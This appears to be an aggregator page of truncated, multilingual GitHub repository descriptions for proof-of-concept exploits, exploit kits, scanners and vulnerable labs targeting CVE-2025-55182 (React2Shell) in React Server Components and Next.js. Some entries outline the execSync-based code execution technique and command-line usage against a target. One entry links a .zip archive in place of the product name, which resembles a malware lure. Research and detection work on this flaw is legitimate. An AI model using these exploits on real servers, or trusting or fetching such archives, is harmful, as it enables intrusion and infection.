CVE-2025-55182-shellinteractive

CVE-2025-55182-shellinteractive Base utilizada de: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Muchas gracias por la gran contribución. Descripción general CVE-2025-55182 es una vulnerabilidad de deserialización en Next.js/React Server Components que permite a atacantes remotos no...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

POC-CVE-2025-55182

CVE-2025-55182 Scanner Avancé Un utilitaire d'exploitation complet pour CVE-2025-55182 — Exécution de code à distance via les composants serveur React dans Next.js. Le scanner crée automatiquement la charge utile multipart et abuse de process.mainModule.require'childprocess'.execSync pour exécute...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高度なエクスプロイトと修士論文研究 -brightred 信頼できないデータのデシリアライズ + React Server Components におけるプロトタイプ汚染 Next.js Server Actions を介した認証なしリモートコード実行 影響を受けるバージョン: React 19.0.0 - 19.2.0 · パッチ: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高度なエクスプロイトのデモ -...

Unihackers---CVE-2025-55182-

イタリアン・ギャング React2Shell PoC このリポジトリは、React Server Components と Next.js に影響する最近の重大な RCE 脆弱性（React2Shell）に対するセキュリティスキャナをテストするための、意図的に脆弱な最小限の環境を提供します。 CVE-2025-55182 : React Server Components のバージョン 19.0.0、19.1.0、19.1.1、19.2.0 には、事前認証のリモートコード実行脆弱性が存在します。影響を受けるパッケージは...

cve-2025-55182-scanner

CVE-2025-55182 インジケータースキャナー このリポジトリは、CVE-2025-55182（React Server Components RCE）と、Asleepaceのインシデントレポートに記載されている特定の多段階マルウェアに関連する侵害の指標（IoCs）をスキャンするPythonベースのツールを提供します。LinuxおよびmacOSでの動作を想定しており、侵害されたシステムに現れる可能性が高いホストレベルおよびアプリケーションレベルのアーティファクトに焦点を当てています。 このスキャナーがチェックする内容 ファイルシステムのIoCs :...

CVE-2025-55182-advanced-scanner-

CVE-2025-55182 スキャナー Next.js アプリケーションにおける CVE-2025-55182（React Server Components RCE）を検出・悪用するためのシンプルなコマンドラインツールです。 インストール root@kitploit: chmod +x scanner.sh 使い方 root@kitploit: Scan with default command id ./scanner.sh -d example.com Execute custom command ./scanner.sh -d example.com -c "whoami"...

CVE-2025-55182-Scanner

CVE-2025-55182 - React Server Components RCEスキャナー CVE-2025-55182（React Server Componentsにおける重大な事前認証リモートコード実行の脆弱性）のための包括的なセキュリティテストツールキットです。 🎓 新着: 完全な教育ガイドが利用可能! この脆弱性を100%理解したいですか? 📖 完全な技術分析を読む - 知っておくべきすべて: Reactがサーバー上で実行される理由（ブラウザだけでなく!） 視覚的な図による攻撃の仕組み エクスプロイトのすべての行を解説 初心者向けの概念から高度な悪用手法まで...

ore_react2shell_scanner

Rapticore Security Research - React2Shell 扫描器 由 Rapticore Security Research Team 开发的安全评估工具包，用于检测 React Server Components RSC 漏洞，包括 CVE-2025-55182 React2Shell - 一个严重的远程代码执行漏洞。 概述 本工具包提供两种专用工具： 工具| 描述 ---|--- orersc.py| 快速 RSC 端点扫描器，用于快速评估 orereact2shell.py| 完整的评估套件，包含子域名枚举和报告生成 演示...

WEB-CLI_RCE_React2Shell

REACT2SHELL 🎯 간단 개요 이것은 무엇인가? 이 도구는 CVE-2025-55182 에 대한 간단한 개념 증명PoC 익스플로잇입니다. 이는 React Server Components 를 사용하는 Next.js 애플리케이션에서 발견된 심각한 결함프로토타입 오염입니다. 대상 서버가 취약할 경우, 이 스크립트를 통해 운영 체제 명령을 실행할 수 있습니다원격 코드 실행, RCE. 이 도구는 학습, CTF 및 책임 있는 보안 연구를 위해 제작되었습니다. ⚠️ 학생 및 CTF 플레이어를 위한 면책 조항 윤리적으로 사용하십시오. 이...

CVE-2025-55182

React2Shell PoC Este repositorio proporciona un entorno mínimo e intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de ejecución remota de código React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una...

CVE-2025-55182

CVE-2025-55182 本仓库包含对 CVE-2025-55182 的概念验证（PoC）复现，这是一个 React Server Components RSC 中的严重安全漏洞，允许未经身份验证的任意代码执行。 描述 该漏洞存在于 React Server Components 从客户端请求反序列化 "Server Actions" 的方式中。具体来说，requireModule 函数未能验证请求的导出名称是否是模块的直接属性。这允许攻击者访问导出函数的 constructor 属性，从而获取全局 Function 构造函数的引用，进而可用于执行任意代码。 复现 本 PoC...

CVE-2025-55182

CVE-2025-55182 - React2Shell PoC CVE-2025-55182（CVSS 10.0）关键未认证远程代码执行漏洞的概念验证利用程序，影响 React Server Components。 致谢 发现者：Lachlan Davidson - 于2025年11月29日向 Meta/React 团队披露。 漏洞概述 该漏洞存在于 React Flight 协议的反序列化逻辑中。通过 HTTP POST 发送恶意负载，攻击者能够实现原型污染，进而导致在服务器上执行任意代码。 受影响版本...

CVE-2025-55182-scanner

Scanner di esposizione della superficie di React Server Components CVE-2025-55182 Uno scanner di superficie specializzato e non intrusivo per CVE-2025-55182 RCE di React Server Components. ⚠️ Contesto Tecnico Critico Leggi questo prima di eseguire la scansione: Sebbene CVE-2025-55182 sia una...

CVE-2025-55182

🚨 NextRce — CVE-2025-55182 تنفيذ الأكواد عن بُعد في Next.js / React Server Components NextRce هي أداة بحث أمني توضّح CVE-2025-55182 ، وهي ثغرة حرجة في تطبيقات Next.js App Router التي تستخدم مكونات خادم React RSC وإجراءات الخادم Server Actions. تتيح هذه الثغرة للمهاجم تحقيق تنفيذ الأكواد عن بُعد R...

reactguard

ReactGuard Scanner React2Shell alimentado por Xint. O ReactGuard fornece ferramentas de detecção de framework e vulnerabilidade para CVE-2025-55182 React2Shell em frameworks que suportam React Server Components. Também inclui detectores para CVE-2025-55183, CVE-2025-55184 e CVE-2025-67779. Status...

CVE-2025-55182

CVE-2025-55182 React2Shell Exploit-Kit 🎯 Vollständige funktionierende Exploit-Demonstration Dieses Projekt bietet eine voll funktionsfähige Demonstration von CVE-2025-55182 React2Shell – einer kritischen Sicherheitslücke zur Remote-Codeausführung in React Server Components und Next.js. Status: ✅...

CVE-2025-55182

Rapport d'analyse de React2Shell CVE-2025-55182 Les sections requises par les directives de l'affectation sont marquées avec « Requis ». 1. Environnement Requis 1.1. Dockerfile Requis Cet environnement utilise un Dockerfile personnalisé basé sur l'image officielle Node.js Alpine. root@kitploit:...

CVE-2025-55182-React2Shell-CVSS-10.0-

影響を受けるソフトウェア: React Server Components（バージョン 19.0.0、19.1.0、19.1.1、19.2.0） 脆弱性タイプ: 安全でないデシリアライゼーションによる事前認証リモートコード実行。 説明: React Server Flight プロトコルの欠陥により、認証されていない攻撃者が特別に細工したシリアライズされたペイロードを送信でき、プロトタイプ汚染を悪用してサーバー上で任意のコード実行が可能になります。 参考用に exploit.py（Python PoC）と、仲間のプレイヤー向けの HTBフレンドリー版も同梱しました。...

CVE-2025-55182-Exploiter

🛡️ RSC Sentinel Pro Auditor Avançado de Componentes de Servidor React RSC & Kit de Exploração CVE-2025-55182 🔥 Detectar. Impressão Digital. Explorar. Uma Extensão do Chrome para Pesquisadores de Segurança e Caçadores de Bugs direcionada a vulnerabilidades RSC do Next.js App Router — especialmente...